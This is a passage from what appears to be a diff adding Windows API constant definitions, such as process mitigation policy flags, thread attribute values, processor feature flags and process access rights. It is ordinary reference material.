PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_ALWAYS_ON 0x100000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_ALWAYS_OFF 0x200000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_RESERVED 0x300000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_MASK 0x3000000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_ALWAYS_ON 0x1000000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_ALWAYS_OFF 0x2000000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_PREFER_SYSTEM32_RESERVED 0x3000000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_MASK 0x30 +#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_ALWAYS_ON 0x10 +#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_ALWAYS_OFF 0x20 +#define PROCESS_CREATION_MITIGATION_POLICY2_LOADER_INTEGRITY_CONTINUITY_AUDIT 0x30 +#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_MASK 0x300 +#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_ALWAYS_ON 0x100 +#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_ALWAYS_OFF 0x200 +#define PROCESS_CREATION_MITIGATION_POLICY2_STRICT_CONTROL_FLOW_GUARD_RESERVED 0x300 +#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_MASK 0x3000 +#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_ALWAYS_ON 0x1000 +#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_ALWAYS_OFF 0x2000 +#define PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_NOINHERIT 0x3000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_MASK 0x30000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_ALWAYS_ON 0x10000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_ALWAYS_OFF 0x20000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_INDIRECT_BRANCH_PREDICTION_RESERVED 0x30000 +#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_MASK 0x300000 +#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_ALWAYS_ON 0x100000 +#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_ALWAYS_OFF 0x200000 +#define PROCESS_CREATION_MITIGATION_POLICY2_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY_RESERVED 0x300000 +#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_MASK 0x3000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_ALWAYS_ON 0x1000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_ALWAYS_OFF 0x2000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_SPECULATIVE_STORE_BYPASS_DISABLE_RESERVED 0x3000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_MASK 0x30000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_ON 0x10000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_OFF 0x20000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_STRICT_MODE 0x30000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_MASK 0x300000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_ALWAYS_ON 0x100000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_ALWAYS_OFF 0x200000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_RELAXED_MODE 0x300000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_MASK 0x3000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_ALWAYS_ON 0x1000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_ALWAYS_OFF 0x2000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_BLOCK_NON_CET_BINARIES_NON_EHCONT 0x3000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_MASK 0x30000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_ALWAYS_ON 0x10000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_ALWAYS_OFF 0x20000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_XTENDED_CONTROL_FLOW_GUARD_RESERVED 0x30000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_MASK 0x300000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_ALWAYS_ON 0x100000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_ALWAYS_OFF 0x200000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_POINTER_AUTH_USER_IP_RESERVED 0x300000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_MASK 0x3000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_ALWAYS_ON 0x1000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_ALWAYS_OFF 0x2000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY_RESERVED 0x3000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_MASK 0x30000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_ALWAYS_ON 0x10000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_ALWAYS_OFF 0x20000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_RESTRICT_CORE_SHARING_RESERVED 0x30000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_MASK 0x300000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_ALWAYS_ON 0x100000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_ALWAYS_OFF 0x200000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY2_FSCTL_SYSTEM_CALL_DISABLE_RESERVED 0x300000000000000 +#define PROCESS_CREATION_CHILD_PROCESS_RESTRICTED 0x1 +#define PROCESS_CREATION_CHILD_PROCESS_OVERRIDE 0x2 +#define PROCESS_CREATION_CHILD_PROCESS_RESTRICTED_UNLESS_SECURE 0x4 +#define PROCESS_CREATION_ALL_APPLICATION_PACKAGES_OPT_OUT 0x1 +#define PROCESS_CREATION_DESKTOP_APP_BREAKAWAY_ENABLE_PROCESS_TREE 0x1 +#define PROCESS_CREATION_DESKTOP_APP_BREAKAWAY_DISABLE_PROCESS_TREE 0x2 +#define PROCESS_CREATION_DESKTOP_APP_BREAKAWAY_OVERRIDE 0x4 +#define PROCESS_CREATION_DESKTOP_APP_TRUSTED_LAUNCH_ALLOW_WINDOWS_HOST 0x8 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_MASK 0x30000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_ON 0x10000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_OFF 0x20000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_CET_USER_SHADOW_STACKS_RESERVED 0x30000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_MASK 0x300000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_ALWAYS_ON 0x100000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_ALWAYS_OFF 0x200000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_USER_CET_SET_CONTEXT_IP_VALIDATION_RESERVED 0x300000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_MASK 0x3000000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_ALWAYS_ON 0x1000000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_ALWAYS_OFF 0x2000000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_BLOCK_NON_CET_BINARIES_RESERVED 0x3000000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_MASK 0x30000000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_ALWAYS_ON 0x10000000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_ALWAYS_OFF 0x20000000000 +#define PROCESS_CREATION_MITIGATION_AUDIT_POLICY2_XTENDED_CONTROL_FLOW_GUARD_RESERVED 0x30000000000 +#define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 0x20000 +#define PROC_THREAD_ATTRIBUTE_HANDLE_LIST 0x20002 +#define PROC_THREAD_ATTRIBUTE_GROUP_AFFINITY 0x30003 +#define PROC_THREAD_ATTRIBUTE_PREFERRED_NODE 0x20004 +#define PROC_THREAD_ATTRIBUTE_IDEAL_PROCESSOR 0x30005 +#define PROC_THREAD_ATTRIBUTE_UMS_THREAD 0x30006 +#define PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY 0x20007 +#define PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES 0x20009 +#define PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL 0x2000b +#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE 0x20016 +#define PROC_THREAD_ATTRIBUTE_MACHINE_TYPE 0x20019 +#define PROC_THREAD_ATTRIBUTE_ENABLE_OPTIONAL_XSTATE_FEATURES 0x3001b +#define PROC_THREAD_ATTRIBUTE_WIN32K_FILTER 0x20010 +#define PROC_THREAD_ATTRIBUTE_JOB_LIST 0x2000d +#define PROC_THREAD_ATTRIBUTE_CHILD_PROCESS_POLICY 0x2000e +#define PROC_THREAD_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY 0x2000f +#define PROC_THREAD_ATTRIBUTE_DESKTOP_APP_POLICY 0x20012 +#define PROC_THREAD_ATTRIBUTE_MITIGATION_AUDIT_POLICY 0x20018 +#define PROC_THREAD_ATTRIBUTE_COMPONENT_FILTER 0x2001a +#define ProcThreadAttributeParentProcess 0x0 +#define ProcThreadAttributeHandleList 0x2 +#define ProcThreadAttributeGroupAffinity 0x3 +#define ProcThreadAttributePreferredNode 0x4 +#define ProcThreadAttributeIdealProcessor 0x5 +#define ProcThreadAttributeUmsThread 0x6 +#define ProcThreadAttributeMitigationPolicy 0x7 +#define ProcThreadAttributeSecurityCapabilities 0x9 +#define ProcThreadAttributeProtectionLevel 0xb +#define ProcThreadAttributeJobList 0xd +#define ProcThreadAttributeChildProcessPolicy 0xe +#define ProcThreadAttributeAllApplicationPackagesPolicy 0xf +#define ProcThreadAttributeWin32kFilter 0x10 +#define ProcThreadAttributeSafeOpenPromptOriginClaim 0x11 +#define ProcThreadAttributeDesktopAppPolicy 0x12 +#define ProcThreadAttributePseudoConsole 0x16 +#define ProcThreadAttributeMitigationAuditPolicy 0x18 +#define ProcThreadAttributeMachineType 0x19 +#define ProcThreadAttributeComponentFilter 0x1a +#define ProcThreadAttributeEnableOptionalXStateFeatures 0x1b +#define ProcThreadAttributeTrustedApp 0x1d +#define ProcThreadAttributeSveVectorLength 0x1e +#define POWER_REQUEST_CONTEXT_DETAILED_STRING 0x2 +#define POWER_REQUEST_CONTEXT_SIMPLE_STRING 0x1 +#define GR_GLOBAL 0xfffffffe +#define GR_GDIOBJECTS 0x0 +#define GR_GDIOBJECTS_PEAK 0x2 +#define GR_USEROBJECTS 0x1 +#define GR_USEROBJECTS_PEAK 0x4 +#define PROCESS_NAME_WIN32 0x0 +#define PROCESS_NAME_NATIVE 0x1 +#define PF_FLOATING_POINT_PRECISION_ERRATA 0x0 +#define PF_FLOATING_POINT_EMULATED 0x1 +#define PF_COMPARE_EXCHANGE_DOUBLE 0x2 +#define PF_MMX_INSTRUCTIONS_AVAILABLE 0x3 +#define PF_PPC_MOVEMEM_64BIT_OK 0x4 +#define PF_ALPHA_BYTE_INSTRUCTIONS 0x5 +#define PF_XMMI_INSTRUCTIONS_AVAILABLE 0x6 +#define PF_3DNOW_INSTRUCTIONS_AVAILABLE 0x7 +#define PF_RDTSC_INSTRUCTION_AVAILABLE 0x8 +#define PF_PAE_ENABLED 0x9 +#define PF_XMMI64_INSTRUCTIONS_AVAILABLE 0xa +#define PF_SSE_DAZ_MODE_AVAILABLE 0xb +#define PF_NX_ENABLED 0xc +#define PF_SSE3_INSTRUCTIONS_AVAILABLE 0xd +#define PF_COMPARE_EXCHANGE128 0xe +#define PF_COMPARE64_EXCHANGE128 0xf +#define PF_CHANNELS_ENABLED 0x10 +#define PF_XSAVE_ENABLED 0x11 +#define PF_ARM_VFP_32_REGISTERS_AVAILABLE 0x12 +#define PF_ARM_NEON_INSTRUCTIONS_AVAILABLE 0x13 +#define PF_SECOND_LEVEL_ADDRESS_TRANSLATION 0x14 +#define PF_VIRT_FIRMWARE_ENABLED 0x15 +#define PF_RDWRFSGSBASE_AVAILABLE 0x16 +#define PF_FASTFAIL_AVAILABLE 0x17 +#define PF_ARM_DIVIDE_INSTRUCTION_AVAILABLE 0x18 +#define PF_ARM_64BIT_LOADSTORE_ATOMIC 0x19 +#define PF_ARM_EXTERNAL_CACHE_AVAILABLE 0x1a +#define PF_ARM_FMAC_INSTRUCTIONS_AVAILABLE 0x1b +#define PF_RDRAND_INSTRUCTION_AVAILABLE 0x1c +#define PF_ARM_V8_INSTRUCTIONS_AVAILABLE 0x1d +#define PF_ARM_V8_CRYPTO_INSTRUCTIONS_AVAILABLE 0x1e +#define PF_ARM_V8_CRC32_INSTRUCTIONS_AVAILABLE 0x1f +#define PF_RDTSCP_INSTRUCTION_AVAILABLE 0x20 +#define PF_RDPID_INSTRUCTION_AVAILABLE 0x21 +#define PF_ARM_V81_ATOMIC_INSTRUCTIONS_AVAILABLE 0x22 +#define PF_MONITORX_INSTRUCTION_AVAILABLE 0x23 +#define PF_SSSE3_INSTRUCTIONS_AVAILABLE 0x24 +#define PF_SSE4_1_INSTRUCTIONS_AVAILABLE 0x25 +#define PF_SSE4_2_INSTRUCTIONS_AVAILABLE 0x26 +#define PF_AVX_INSTRUCTIONS_AVAILABLE 0x27 +#define PF_AVX2_INSTRUCTIONS_AVAILABLE 0x28 +#define PF_AVX512F_INSTRUCTIONS_AVAILABLE 0x29 +#define PF_ERMS_AVAILABLE 0x2a +#define PF_ARM_V82_DP_INSTRUCTIONS_AVAILABLE 0x2b +#define PF_ARM_V83_JSCVT_INSTRUCTIONS_AVAILABLE 0x2c +#define PF_ARM_V83_LRCPC_INSTRUCTIONS_AVAILABLE 0x2d +#define PF_ARM_SVE_INSTRUCTIONS_AVAILABLE 0x2e +#define PF_ARM_SVE2_INSTRUCTIONS_AVAILABLE 0x2f +#define PF_ARM_SVE2_1_INSTRUCTIONS_AVAILABLE 0x30 +#define PF_ARM_SVE_AES_INSTRUCTIONS_AVAILABLE 0x31 +#define PF_ARM_SVE_PMULL128_INSTRUCTIONS_AVAILABLE 0x32 +#define PF_ARM_SVE_BITPERM_INSTRUCTIONS_AVAILABLE 0x33 +#define PF_ARM_SVE_BF16_INSTRUCTIONS_AVAILABLE 0x34 +#define PF_ARM_SVE_EBF16_INSTRUCTIONS_AVAILABLE 0x35 +#define PF_ARM_SVE_B16B16_INSTRUCTIONS_AVAILABLE 0x36 +#define PF_ARM_SVE_SHA3_INSTRUCTIONS_AVAILABLE 0x37 +#define PF_ARM_SVE_SM4_INSTRUCTIONS_AVAILABLE 0x38 +#define PF_ARM_SVE_I8MM_INSTRUCTIONS_AVAILABLE 0x39 +#define PF_ARM_SVE_F32MM_INSTRUCTIONS_AVAILABLE 0x3a +#define PF_ARM_SVE_F64MM_INSTRUCTIONS_AVAILABLE 0x3b +#define PF_BMI2_INSTRUCTIONS_AVAILABLE 0x3c +#define PF_MOVDIR64B_INSTRUCTION_AVAILABLE 0x3d +#define PF_ARM_LSE2_AVAILABLE 0x3e +#define PF_RESERVED_FEATURE 0x3f +#define PF_ARM_SHA3_INSTRUCTIONS_AVAILABLE 0x40 +#define PF_ARM_SHA512_INSTRUCTIONS_AVAILABLE 0x41 +#define PF_ARM_V82_I8MM_INSTRUCTIONS_AVAILABLE 0x42 +#define PF_ARM_V82_FP16_INSTRUCTIONS_AVAILABLE 0x43 +#define PF_ARM_V86_BF16_INSTRUCTIONS_AVAILABLE 0x44 +#define PF_ARM_V86_EBF16_INSTRUCTIONS_AVAILABLE 0x45 +#define PF_ARM_SME_INSTRUCTIONS_AVAILABLE 0x46 +#define PF_ARM_SME2_INSTRUCTIONS_AVAILABLE 0x47 +#define PF_ARM_SME2_1_INSTRUCTIONS_AVAILABLE 0x48 +#define PF_ARM_SME2_2_INSTRUCTIONS_AVAILABLE 0x49 +#define PF_ARM_SME_AES_INSTRUCTIONS_AVAILABLE 0x4a +#define PF_ARM_SME_SBITPERM_INSTRUCTIONS_AVAILABLE 0x4b +#define PF_ARM_SME_SF8MM4_INSTRUCTIONS_AVAILABLE 0x4c +#define PF_ARM_SME_SF8MM8_INSTRUCTIONS_AVAILABLE 0x4d +#define PF_ARM_SME_SF8DP2_INSTRUCTIONS_AVAILABLE 0x4e +#define PF_ARM_SME_SF8DP4_INSTRUCTIONS_AVAILABLE 0x4f +#define PF_ARM_SME_SF8FMA_INSTRUCTIONS_AVAILABLE 0x50 +#define PF_ARM_SME_F8F32_INSTRUCTIONS_AVAILABLE 0x51 +#define PF_ARM_SME_F8F16_INSTRUCTIONS_AVAILABLE 0x52 +#define PF_ARM_SME_F16F16_INSTRUCTIONS_AVAILABLE 0x53 +#define PF_ARM_SME_B16B16_INSTRUCTIONS_AVAILABLE 0x54 +#define PF_ARM_SME_F64F64_INSTRUCTIONS_AVAILABLE 0x55 +#define PF_ARM_SME_I16I64_INSTRUCTIONS_AVAILABLE 0x56 +#define PF_ARM_SME_LUTv2_INSTRUCTIONS_AVAILABLE 0x57 +#define PF_ARM_SME_FA64_INSTRUCTIONS_AVAILABLE 0x58 +#define UserEnabled 1 +#define KernelEnabled 2 +#define Wow64Container 4 +#define AVRT_PRIORITY_VERYLOW -2 +#define AVRT_PRIORITY_LOW -1 +#define AVRT_PRIORITY_NORMAL 0 +#define AVRT_PRIORITY_HIGH 1 +#define AVRT_PRIORITY_CRITICAL 2 +#define PROCESS_DEP_ENABLE 0x1 +#define PROCESS_DEP_DISABLE_ATL_THUNK_EMULATION 0x2 +#define PROCESS_DEP_NONE 0x0 +#define STARTF_FORCEONFEEDBACK 0x40 +#define STARTF_FORCEOFFFEEDBACK 0x80 +#define STARTF_PREVENTPINNING 0x2000 +#define STARTF_RUNFULLSCREEN 0x20 +#define STARTF_TITLEISAPPID 0x1000 +#define STARTF_TITLEISLINKNAME 0x800 +#define STARTF_UNTRUSTEDSOURCE 0x8000 +#define STARTF_USECOUNTCHARS 0x8 +#define STARTF_USEFILLATTRIBUTE 0x10 +#define STARTF_USEHOTKEY 0x200 +#define STARTF_USEPOSITION 0x4 +#define STARTF_USESHOWWINDOW 0x1 +#define STARTF_USESIZE 0x2 +#define STARTF_USESTDHANDLES 0x100 +#define EVENT_ALL_ACCESS 0x1f0003 +#define EVENT_MODIFY_STATE 0x2 +#define MUTEX_ALL_ACCESS 0x1f0001 +#define MUTEX_MODIFY_STATE 0x1 +#define SEMAPHORE_ALL_ACCESS 0x1f0003 +#define SEMAPHORE_MODIFY_STATE 0x2 +#define TIMER_ALL_ACCESS 0x1f0003 +#define TIMER_MODIFY_STATE 0x2 +#define TIMER_QUERY_STATE 0x1 +#define SYNCHRONIZATION_DELETE 0x10000 +#define SYNCHRONIZATION_READ_CONTROL 0x20000 +#define SYNCHRONIZATION_WRITE_DAC 0x40000 +#define SYNCHRONIZATION_WRITE_OWNER 0x80000 +#define SYNCHRONIZATION_SYNCHRONIZE 0x100000 +#define WT_EXECUTEDEFAULT 0x0 +#define WT_EXECUTEINIOTHREAD 0x1 +#define WT_EXECUTEINPERSISTENTTHREAD 0x80 +#define WT_EXECUTEINWAITTHREAD 0x4 +#define WT_EXECUTELONGFUNCTION 0x10 +#define WT_EXECUTEONLYONCE 0x8 +#define WT_TRANSFER_IMPERSONATION 0x100 +#define WT_EXECUTEINTIMERTHREAD 0x20 +#define RTWQ_STANDARD_WORKQUEUE 0 +#define RTWQ_WINDOW_WORKQUEUE 1 +#define RTWQ_MULTITHREADED_WORKQUEUE 2 +#define PROCESS_TERMINATE 0x1 +#define PROCESS_CREATE_THREAD 0x2 +#define PROCESS_SET_SESSIONID 0x4 +#define PROCESS_VM_OPERATION 0x8 +#define PROCESS_VM_READ 0x10 +#define PROCESS_VM_WRITE 0x20 +#define PROCESS_DUP_HANDLE 0x40 +#define PROCESS_CREATE_PROCESS 0x80 +#define PROCESS_SET_QUOTA 0x100 +#define PROCESS_SET_INFORMATION 0x200 +#define PROCESS_QUERY_INFORMATION 0x400 +#define PROCESS_SUSPEND_RESUME 0x800 +#define PROCESS_QUERY_LIMITED_INFORMATION 0x1000 +#define PROCESS_SET_LIMITED_INFORMATION 0x2000 +#define PROCESS_ALL_ACCESS 0x1fffff +#define PROCESS_DELETE 0x10000 +#define PROCESS_READ_CONTROL 0x20000 +#define PROCESS_WRITE_DAC 0x40000 +#define PROCESS_WRITE_OWNER 0x80000 +#define PROCESS_SYNCHRONIZE 0x100000 +#define PROCESS_STANDARD_RIGHTS_REQUIRED 0xf0000 +#define QUEUE_USER_APC_FLAGS_NONE 0 +#define QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC 1 +#define QUEUE_USER_APC_CALLBACK_DATA_CONTEXT 65536 +#define ProcessDEPPolicy 0 +#define ProcessASLRPolicy 1 +#define ProcessDynamicCodePolicy 2 +#define ProcessStrictHandleCheckPolicy 3 +#define ProcessSystemCallDisablePolicy 4 +#define ProcessMitigationOptionsMask 5 +#define ProcessExtensionPointDisablePolicy 6 +#define ProcessControlFlowGuardPolicy 7 +#define ProcessSignaturePolicy 8 +#define ProcessFontDisablePolicy 9 +#define ProcessImageLoadPolicy 10 +#define ProcessSystemCallFilterPolicy 11 +#define ProcessPayloadRestrictionPolicy 12 +#define ProcessChildProcessPolicy 13 +#define ProcessSideChannelIsolationPolicy 14 +#define ProcessUserShadowStackPolicy 15 +#define ProcessRedirectionTrustPolicy 16 +#define ProcessUserPointerAuthPolicy 17 +#define ProcessSEHOPPolicy 18 +#define MaxProcessMitigationPolicy 19 +#define UmsThreadInvalidInfoClass 0 +#define UmsThreadUserContext 1 +#define UmsThreadPriority 2 +#define UmsThreadAffinity 3 +#define UmsThreadTeb 4 +#define UmsThreadIsSuspended 5 +#define UmsThreadIsTerminated 6 +#define UmsThreadMaxInfoClass 7 +#define TP_CALLBACK_PRIORITY_HIGH 0 +#define TP_CALLBACK_PRIORITY_NORMAL 1 +#define TP_CALLBACK_PRIORITY_LOW 2 +#define TP_CALLBACK_PRIORITY_INVALID 3 +#define TP_CALLBACK_PRIORITY_COUNT 3 +#define THREAD_MODE_BACKGROUND_BEGIN 65536 +#define THREAD_MODE_BACKGROUND_END 131072 +#define THREAD_PRIORITY_ABOVE_NORMAL 1 +#define THREAD_PRIORITY_BELOW_NORMAL -1 +#define THREAD_PRIORITY_HIGHEST 2 +#define THREAD_PRIORITY_IDLE -15 +#define THREAD_PRIORITY_MIN -2 +#define THREAD_PRIORITY_LOWEST -2 +#define THREAD_PRIORITY_NORMAL 0 +#define THREAD_PRIORITY_TIME_CRITICAL 15 +#define PMETypeFailFastOnCommitFailure 0 +#define PMETypeMax 1 +#define PROTECTION_LEVEL_WINTCB_LIGHT 0x0 +#define PROTECTION_LEVEL_WINDOWS 0x1 +#define PROTECTION_LEVEL_WINDOWS_LIGHT 0x2 +#define PROTECTION_LEVEL_ANTIMALWARE_LIGHT 0x3 +#define PROTECTION_LEVEL_LSA_LIGHT 0x4 +#define PROTECTION_LEVEL_WINTCB 0x5 +#define PROTECTION_LEVEL_CODEGEN_LIGHT 0x6 +#define PROTECTION_LEVEL_AUTHENTICODE 0x7 +#define PROTECTION_LEVEL_PPL_APP 0x8 +#define PROTECTION_LEVEL_NONE 0xfffffffe +#define THREAD_CREATE_RUN_IMMEDIATELY 0x0 +#define THREAD_CREATE_SUSPENDED 0x4 +#define STACK_SIZE_PARAM_IS_A_RESERVATION 0x10000 +#define DEBUG_PROCESS 0x1 +#define DEBUG_ONLY_THIS_PROCESS 0x2 +#define CREATE_SUSPENDED 0x4 +#define DETACHED_PROCESS 0x8 +#define CREATE_NEW_CONSOLE 0x10 +#define NORMAL_PRIORITY_CLASS 0x20 +#define IDLE_PRIORITY_CLASS 0x40 +#define HIGH_PRIORITY_CLASS 0x80 +#define REALTIME_PRIORITY_CLASS 0x100 +#define CREATE_NEW_PROCESS_GROUP 0x200 +#define CREATE_UNICODE_ENVIRONMENT 0x400 +#define CREATE_SEPARATE_WOW_VDM 0x800 +#define CREATE_SHARED_WOW_VDM 0x1000 +#define CREATE_FORCEDOS 0x2000 +#define BELOW_NORMAL_PRIORITY_CLASS 0x4000 +#define 